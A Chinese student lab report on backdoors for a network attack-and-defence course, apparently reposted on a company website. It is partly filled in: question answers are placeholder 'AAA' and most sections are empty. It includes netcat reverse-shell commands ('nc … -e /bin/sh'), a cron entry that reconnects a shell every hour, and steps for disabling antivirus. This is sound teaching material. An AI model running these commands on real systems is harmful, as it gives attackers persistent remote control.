尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

20232421 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232421 2025-2026-1 《网络与系统攻防技术》实验二实验报告
📅 发布时间:2026/6/18 22:07:57

1.实践内容

1.1 实践目标

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?

AAA

  • 例举你知道的后门如何启动起来(win及linux)的方式?

AAA

  • Meterpreter有哪些给你映像深刻的功能?

AAA

  • 如何发现自己有系统有没有被安装后门?

AAA

2.实践过程

2.1 使用netcat获取主机的Shell,后执行定时任务

2.1.1 实验准备

屏幕截图 2025-10-22 161333
由于直接下载netcat会被阻止,因此需要先关闭防火墙后下载。

  • 进入目录控制面板\所有控制面板项\Windows Defender 防火墙\自定义设置;关闭Windows Defender防火墙。
    屏幕截图 2025-10-22 161047
  • 进入官网地址(https://eternallybored.org/misc/netcat/)下载netcat1.11。
  • 下载之后发现仍被阻止,选择保留即可。
    屏幕截图 2025-10-22 161958
  • 记得关闭Windows主机的防病毒软件并退出杀毒软件,否则可执行文件会被直接删除。被删除可选择在保护历史记录中还原。
    屏幕截图 2025-10-22 163729

2.1.2 使用netcat获取主机操作Shell

  • 主机操作:执行命令ipconfig获取主机IP地址
    屏幕截图 2025-10-22 163810
  • 主机操作:进入netcat所在目录,并通过控制台指令./nc64.exe -l -p 2421对2421端口进行监听,结果显示LISTENING则说明端口违背占用且监听成功。
    屏幕截图 2025-10-22 163845
    屏幕截图 2025-10-22 163953

实验指导书中监听的端口为8888,但部分同学的监听端口为个人学号,此处只要保证选用端口处于LISTENING状态(未被占用)即可,故此处尝试使用个人学号端口2421

  • 虚拟机操作:执行命令nc 172.16.209.107 2421 -e /bin/sh,让虚拟机主动连接到IP为172.16.209.107的2421端口
    屏幕截图 2025-10-22 172301
    屏幕截图 2025-10-22 172316

2.1.3 启动定时任务

  • 输入命令crontab -e编辑crontab文件,设置指定任务
    屏幕截图 2025-10-22 175545
  • 选用方法2/usr/bin/vin.basic编辑cron表
    屏幕截图 2025-10-22 175604
  • 添加命令50 * * * * /bin/netcat 192.168.3.13 2409 -e /bin/sh后保存退出。
    屏幕截图 2025-10-22 175711

改命令创建后门,让系统当时间到达某小时的第50分钟都自动尝试将本机的Shell控制权连接到172.16.209.107这台机器上。

  • 查看后门文件:通过路径/var/spool/cron/crontabs,找到crontabs文件夹,用root身份打开,此root文件即是后门文件
    屏幕截图 2025-10-22 173423

2.1.4 修改定时任务

  • 获取shell(参照之前步骤)
  • 写入新任务,将原来定时任务的50分钟改为20分钟,并按照路径生成文件。
echo "20 * * * * echo "20232409" > /home/biyouchen/tempfile/20232409.txt" > /var/spool/cron/crontabs/root`
  • 输入命令crontab -l,确认修改结果
    屏幕截图 2025-10-22 174027

2.2 使用socat获取主机的Shell

2.3 使用MSF meterpreter生成后门

2.4 使用MSF meterpreter生成获取目标主机资源的后门,并尝试提权

2.5 使用MSF生成shellcode,获取反弹连接Shell

3.问题及解决方案

4.学习感悟、思考等

参考资料

相关新闻

  • 拓展欧几里得算法
  • 软考中级学习总结(5)
  • 每日反思(2025_10_22)

最新新闻

  • GPT5.5不是新模型,而是AI工作流成熟度的标志
  • CushyStudio统一画布全攻略:精通Inpainting与Outpainting,轻松扩展图像边界
  • TC850高速积分型ADC:工业噪声环境下的高精度数据采集解决方案
  • 终极Spotify字体美化指南:3分钟打造你的专属音乐界面
  • 2026年6月18日每日60秒读懂世界
  • 终极指南:如何在本地部署Meta-Llama-3.1-8B-Instruct-GGUF大语言模型

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号